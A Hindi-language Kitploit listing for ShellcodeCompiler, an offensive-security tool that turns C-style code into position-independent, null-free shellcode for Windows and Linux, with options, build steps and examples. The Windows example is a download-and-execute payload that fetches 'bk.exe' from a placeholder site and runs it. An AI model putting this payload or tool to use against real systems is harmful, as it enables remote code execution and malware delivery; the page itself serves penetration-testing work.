Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ShellcodeCompiler — शेलकोड कंपाइलर | Kitploit
उपकरण/GitHubGitHub/nytrorst/shellcodecompiler
शोषणशेलकोडशेलकोड जनरेशनपेलोड डेवलपमेंटबाइनरी शोषण
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

शेलकोड कंपाइलर

रिपॉजिटरी देखें
1.2k2801 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

शेलकोड कंपाइलर

Shellcode Compiler एक प्रोग्राम है जो C/C++ शैली के कोड को Windows (x86 और x64) और Linux (x86 और x64) के लिए एक छोटे, स्थिति-स्वतंत्र और NULL-मुक्त शेलकोड में संकलित करता है। उपयोगकर्ता-अनुकूल तरीके से किसी भी Windows API फ़ंक्शन या Linux syscall को कॉल करना संभव है।

Shellcode Compiler एक स्रोत फ़ाइल को इनपुट के रूप में लेता है और कोड की व्याख्या करने और एक असेंबली फ़ाइल उत्पन्न करने के लिए अपने स्वयं के कंपाइलर का उपयोग करता है, जिसे Keystone इंजन के साथ असेंबल किया जाता है।

कमांड लाइन विकल्प

root@kitploit:~
    -h (--help)      : यह सहायता संदेश दिखाएं
    -p (--platform)  : शेलकोड प्लेटफ़ॉर्म: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : विस्तृत आउटपुट प्रिंट करें
    -t (--test)      : उत्पन्न शेलकोड का परीक्षण (निष्पादित) करें
    -r (--read)      : स्रोत कोड फ़ाइल पढ़ें
    -o (--output)    : उत्पन्न बाइनरी शेलकोड की आउटपुट फ़ाइल
    -a (--assembbly) : उत्पन्न असेंबली कोड की आउटपुट फ़ाइल

Windows उदाहरण

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linux उदाहरण

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

आह्वान उदाहरण

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

सीमाएं

  1. किसी API कॉल के वापसी मान का उपयोग करना संभव नहीं है
  2. पॉइंटर्स या बफ़र्स का उपयोग करना संभव नहीं है
  3. वेरिएबल्स घोषित करना संभव नहीं है

इसके अलावा कई अन्य सीमाएं भी मौजूद हैं। यह एक Alpha संस्करण है। कृपया किसी भी बग या सुझाव की रिपोर्ट करें।

परिवर्तन लॉग

  1. Windows x64 के लिए प्रारंभिक समर्थन
  2. Linux (x86 और x64) शेलकोड के लिए प्रारंभिक समर्थन

Keystone

  1. Keystone Engine स्रोत कोड डाउनलोड करें
  2. nmake-lib.sh (Linux के लिए) और nmake-lib.bat (Windows के लिए) का उपयोग करके Keystone Engine को स्थैतिक लाइब्रेरी के रूप में संकलित करें
  3. Windows: परिणामी lib फ़ाइल को keystone-src\build\llvm\lib\keystone.lib से ShellcodeCompiler\Keystone\keystone_x86.lib (32 बिट के लिए) और keystone_x64.lib (64 बिट के लिए) पर कॉपी करें
  4. Linux: परिणामी lib फ़ाइल को keystone-src\build\llvm\lib\keystone.lib से ShellcodeCompiler\Keystone\libkeystone_x86.a (32 बिट के लिए) और libkeystone_x64.a (64 बिट के लिए) पर कॉपी करें

लेखक

Ionut Popescu (@NytroRST)

टूल डाउनलोड करें